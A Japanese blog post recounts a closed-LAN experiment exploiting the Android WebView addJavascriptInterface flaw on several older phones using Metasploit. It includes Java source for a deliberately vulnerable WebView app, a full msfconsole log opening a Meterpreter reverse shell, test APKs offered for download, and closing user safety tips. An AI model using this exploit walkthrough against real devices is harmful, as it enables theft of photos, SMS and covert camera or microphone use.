ここのリンクにもあるように、Android 4.2.x以下のAndroid端末のAndroid全端末に占める割合は約50%です。50%のAndroid端末の台数は膨大な数になります。数億台?そしてこれら50%の端末に潜在する可能性のある脆弱性(*1)について実験してみました。
結果は、手近にあったAndroid端末4台中2台に脆弱性が残っており、「端末に保存されている画像入手は当たり前。アプリに対するパーミッションによっては端末内蔵カメラによるスナップ撮影も可能」という結果になりました。
*1:Attacks on Android WebViews
どういう端末が危ないか
1.Android 4.2.x(APIは17)以下のOSを搭載するAndroid端末
2.WebViewクラスを使用したアプリをインストールして起動
3.インタネットへのアクセスを許可
これだけで、端末内に保存されている写真や音声やSMSを抜かれる可能性があります。
さらに、
4.カメラ、マイク、連絡先、SMSなどへのアクセスを許可
などしていると、場合によっては内蔵カメラで写真を撮られたり、マイクで録音されたり、SMS送信されたりしてしまう可能性があります。
なので上記2のWebViewクラスを使用したアプリが、「悪意のある」アプリの場合本当にやばいと思われます
実験内容
1.アプリ作成
Java言語でWebViewクラスを宣言した50行ほどのコードにインタネットアクセス許可をつけただけのスマホアプリ(vulnWebView.apk)を作成。またカメラ等へのアクセスを実験するため、カメラ、マイク、SMS、カレンダ、連絡先へのパーミッションをつけた別バージョンのスマホアプリ(vulnWebViewAll.apk)も作成
2.侵入ホストにて端末からのアクセスを待機
侵入テスト用Frameworkである「Metasploit」から脆弱性をついたExploitを使用して、Android端末上で上記スマホアプリが実行されるのを待機
3.端末上でアプリ実行
Android端末に上記スマホアプリをインストールして実行。(HOMEPAGEやSDCARDや共有フォルダ経由などなんでもよい)ダウンロードしてインストール
4.侵入ホストより侵入
脆弱性の条件が合って接続できれば、画像や音声等のデータを入手してみるさらに端末内蔵のカメラでスナップ撮影。マイクからの録音も。
ターゲット環境
・HTC Butterfly J:os4.1.1
・SonyTabletS:os4.0.3
・GalaxyS3Progre:os4.1.2
・ArrowsNX_F_01F:os4.2.2
・全端末はLAN接続
侵入ホスト環境
・VMWare(7.1.0 build-2496824) on Win7 Home Premium Edition
・Kali Linux3(CD-ROM)でインストール後UpdateおよびUpgrade完了。GitHubによる最新化はしていない
・Metasploit Framework Version: 4.11.3-2015062101
(msfconsoleのバージョン表示から)
・ターゲット端末と同じLANに接続
WebViewクラス使用アプリの作成
GitHubに実験用のJavaソース(というよりproject)が公開されており、それを使って実験してみました。ただそのままではうまく動作せず、下記に従いコードを変更しました。
変更点1:LoadUrlの呼び出しではPORTを陽に指定する必要があること
変更点2:処理途中にRedirectがありその場合にWebViewではなく通常のブラウザが呼ばれてしまいうまく動作しない。それを防ぐコードを追加したこと
変更点3:侵入端末への接続情報、すなわちIPアドレス、ポート番号、およびURIをアプリから指定できるようにしてあります。
package com.krasavkana.vulnwebview; import android.os.Bundle; import android.annotation.SuppressLint; import android.app.Activity; import android.view.Menu; import android.view.View; import android.webkit.WebSettings; import android.webkit.WebView; import android.webkit.WebViewClient; import android.widget.Button; import android.widget.EditText; @SuppressLint("SetJavaScriptEnabled") public class MainActivity extends Activity { private static EditText edittext1; private static EditText edittext2; private static EditText edittext3; private static WebView myWebView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); final Button button = (Button) findViewById(R.id.button1); // set LHOST 192.168.1.30 edittext1 = (EditText) findViewById(R.id.edittext1); // set SVRPORT 8080 edittext2 = (EditText) findViewById(R.id.edittext2); // set URIPATH /aaaaaaaa edittext3 = (EditText) findViewById(R.id.edittext3); myWebView = (WebView) findViewById(R.id.webView1); // not a good idea! WebSettings webSettings = myWebView.getSettings(); webSettings.setJavaScriptEnabled(true); // terrible idea! myWebView.addJavascriptInterface(new WebAppInterface(this), "Android"); myWebView.setWebViewClient(new WebViewClient(){ @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { return super.shouldOverrideUrlLoading(view, url); } }); // woot. //myWebView.loadUrl(edittext.getText().toString()); button.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { // Perform action on click loadUrl(); } }); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } private void loadUrl() { String uri="https://"+edittext1.getText().toString()+":"+edittext2.getText().toString()+edittext3.getText().toString(); myWebView.loadUrl(uri); // myWebView.reload(); } }
実験結果
・HTC Butterfly J(os4.1.1):侵入NG(条件のうちvuln_testがFalseで合わないらしい)
・SonyTabletS(os4.0.3):侵入NG(ただし条件は合うようだ)
・GalaxyS3Progre(os4.1.2):侵入OK。カメラへのアクセス許可があればスナップ撮影が可能
・ArrowsNX_F_01F(os4.2.2):侵入OK。カメラへのアクセス許可があってもスナップ撮影は不可。
マイクによる音声入力は長いもの(60秒)は不可
以下は、GalaxyS3Progreに侵入テストしたときのコンソール画面です。
root@kali:~# msfconsole IIIIII dTb.dTb _.---._ II 4' v 'B .'"".'/|\`.""'. II 6. .P : .' / | \ `. : II 'T;. .;P' '.' / | \ `.' II 'T; ;P' `. / | \ .' IIIIII 'YvP' `-.__|__.-' I love shells --egypt Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- learn more on https://rapid7.com/metasploit =[ metasploit v4.11.3-2015062101 [core:4.11.3.pre.2015062101 api:1.0.0]] + -- --=[ 1463 exploits - 838 auxiliary - 229 post ] + -- --=[ 428 payloads - 37 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: https://r-7.co/trymsp ] msf > use android/browser/webview_addjavascriptinterface msf exploit(webview_addjavascriptinterface) > set LPORT 192.168.1.30 LPORT => 192.168.1.30 msf exploit(webview_addjavascriptinterface) > set URIPATH /aaaaaaaa URIPATH => /aaaaaaaa msf exploit(webview_addjavascriptinterface) > set VERBOSE true VERBOSE => true msf exploit(webview_addjavascriptinterface) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.30:4444 [*] Using URL: https://0.0.0.0:8080/aaaaaaaa [*] Local IP: https://192.168.1.30:8080/aaaaaaaa [*] Server started. msf exploit(webview_addjavascriptinterface) > [*] 192.168.1.108 webview_addjavascriptinterface - 192.168.1.108 webview_addjavascriptinterface - No cookie received, resorting to headers hash. [*] 192.168.1.108 webview_addjavascriptinterface - Gathering target information. [*] 192.168.1.108 webview_addjavascriptinterface - Sending HTML response. [*] 192.168.1.108 webview_addjavascriptinterface - 192.168.1.108 webview_addjavascriptinterface - Info receiver page called. [*] 192.168.1.108 webview_addjavascriptinterface - 192.168.1.108 webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'. [*] 192.168.1.108 webview_addjavascriptinterface - 192.168.1.108 webview_addjavascriptinterface - Received sniffed browser data over POST: {"os_name"=>["Android"], "os_vendor"=>["undefined"], "os_device"=>["undefined"], "ua_name"=>["Safari"], "ua_ver"=>["4.0"], "arch"=>["armle"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["null"], "vuln_test"=>["true"]}. [*] 192.168.1.108 webview_addjavascriptinterface - 192.168.1.108 webview_addjavascriptinterface - Received cookie 'oZbIEOhlGk'. [*] 192.168.1.108 webview_addjavascriptinterface - 192.168.1.108 webview_addjavascriptinterface - Serving exploit to user with tag oZbIEOhlGk [*] 192.168.1.108 webview_addjavascriptinterface - 192.168.1.108 webview_addjavascriptinterface - Setting target "oZbIEOhlGk" to :tried. [*] 192.168.1.108 webview_addjavascriptinterface - 192.168.1.108 webview_addjavascriptinterface - Comparing requirement: source=script vs source=script [*] 192.168.1.108 webview_addjavascriptinterface - 192.168.1.108 webview_addjavascriptinterface - Comparing requirement: os_name=(?-mix:^(?:Google )?Android) vs os_name=Android [*] 192.168.1.108 webview_addjavascriptinterface - 192.168.1.108 webview_addjavascriptinterface - Comparing requirement: vuln_test=true vs vuln_test=true [*] 192.168.1.108 webview_addjavascriptinterface - Serving armle exploit... [*] Sending stage (45338 bytes) to 192.168.1.108 [*] Meterpreter session 1 opened (192.168.1.30:4444 -> 192.168.1.108:44195) at 2015-06-28 15:49:42 -0700 msf exploit(webview_addjavascriptinterface) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter java/android @ localhost 192.168.1.30:4444 -> 192.168.1.108:44195 (192.168.1.108) msf exploit(webview_addjavascriptinterface) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ls Listing: /data/data/com.krasavkana.vulnwebview ============================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 11768 fil 2015-06-28 15:49:41 -0700 abaeJ.dex 40666/rw-rw-rw- 4096 dir 2015-06-28 15:49:37 -0700 cache 40666/rw-rw-rw- 4096 dir 2015-06-28 15:49:37 -0700 databases 40444/r--r--r-- 4096 dir 2015-06-28 15:49:14 -0700 lib meterpreter > pwd /data/data/com.krasavkana.vulnwebview meterpreter > cd .. meterpreter > pwd /data/data
実験で使ったAPKファイル
掲載不要かもしれませんが、自分でも実験したり侵入テストしてみたりしたい方のために、今回作成したWebView使用アプリのAPKファイルを置いておきます。IPアドレス、ポート、サーバのURIを変更できる設計にしましたので、ここで実験したことが再現できると思います。ただくれぐれもLAN等閉鎖されたところで実験してください。
インタネットアクセスのみのVunWebView.apk
インタネットアクセスの他カメラ、マイク、カレンダ、連絡先、SMSへのアクセスを許可するVunWebView.apk
因みに、GooglePlayに出している(*2)Androidアプリが数点あるのですが、そのうち1点がWebViewクラスを使用しています。心配になったので、LoadUrlメソッドで呼び出しているURIに、ここで使った侵入ホストを指定して実験してみましたが、脆弱性がつけなかったのか侵入できませんでした。理由はaddJavascriptInterfaceメソッドを使っていないからだと思っています。
*2:実はつい最近ですが、GooglePlayから削除されていることが判明しました。Googleからデベロッパ宛にPolicy変更等の通知が来るのですが、暫くの間見れないことがあって、その間に期限切れになり、結果「削除」になってしまったようです。
他の脆弱性について
今回の実験で使用した脆弱性の他にも、さまざまな脆弱性が発見されており、アンチウイルスのメーカ等と侵入者とのいたちごっこが続いています。
私たちエンドユーザとしては、
・OSはできるだけUpdateをすること、
・怪しいアプリはインストールしないこと、
・重要な情報は端末に残さないか暗号化しておく、
などができ得る対策ですが、十分に気をつけましょう。
関連する記事・ページ
お世話になったリンク
Attacks on Android WebViews
rapid7/metasploit-framework
WebViewのリダイレクト時のブラウザ起動防止
以上です。